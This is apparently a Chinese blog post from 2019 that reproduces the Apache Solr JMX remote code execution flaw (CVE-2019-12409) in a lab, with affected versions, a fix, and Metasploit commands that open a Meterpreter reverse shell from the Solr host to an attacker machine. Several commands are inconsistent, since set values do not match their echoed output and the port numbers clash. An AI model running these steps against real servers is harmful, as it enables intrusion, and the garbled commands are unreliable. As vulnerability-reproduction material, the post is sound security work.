Apache Solr JMX服务远程代码执行漏洞复现

0x00 漏洞介绍

该漏洞源于默认配置文件solr.in.sh中的ENABLE_REMOTE_JMX_OPTS配置选项存在安全风险。
Apache Solr的8.1.1和8.2.0版本的自带配置文件solr.in.sh中存在ENABLE_REMOTE_JMX_OPTS="true"选项。
如果使用受影响版本中的默认solr.in.sh文件,那么将启用JMX监视并将其暴露在RMI_PORT上(默认值= 18983),
并且无需进行任何身份验证。 如果防火墙中的入站流量打开了此端口,则具有Solr节点网络访问权限的任何人都将能够访问JMX,
并且可以上传恶意代码在Solr服务器上执行。该漏洞不影响Windows系统的用户,仅影响部分版本的Linux用户。

0x01 影响版本

Apache Solr8.1.1和8.2.0版本

0x02 漏洞危害

如果受害者使用了该默认配置,则会在默认端口18983开放JMX服务,且默认未开启认证。任何可访问此端口的攻击者可利用此漏洞向受影响服务发起攻击,执行任意代码。

0x03 准备工作

1) 搭建环境
安装Apache Solr 8.20
wget https://mirrors.tuna.tsinghua.edu.cn/apache/lucene/solr/8.2.0/solr-8.2.0.zip


2) 启动环境

0x04 漏洞复现

1) 访问默认端口 8993 出现以下界面正面漏洞环境搭建成功


2) 攻击机操作

第一步

msf5 > use exploit/multi/misc/java_jmx_server
msf5 exploit(multi/misc/java_jmx_server) > set RHOSTS 192.168.50.33
RhOSTS => 192.168.50.33
msf5 exploit(multi/misc/java_jmx_server) > set RPORTS 18983

第二步

msf5 > use java/meterpreter/reverse_tcp
msf5 payload(java/meterpreter/reverse_tcp) > set LHOST 127.0.0.1
LHOST => 192.168.50.33
msf5 payload(java/meterpreter/reverse_tcp) > set LPORT 192.168.50.33
LPORT => 4444
msf5 exploit(multi/misc/java_jmx_server) > run

0x05 修复方案

将solr.in.sh配置文件中的ENABLE_REMOTE_JMX_OPTS选项设置为false,然后重启Solr服务。

0x06 参考链接

https://www.t00ls.net/articles-53901.html
https://github.com/jas502n/CVE-2019-12409

posted @ 2019-11-25 14:21  Sylon  阅读(...)  评论(...编辑  收藏
/* 看板娘*/ Live2D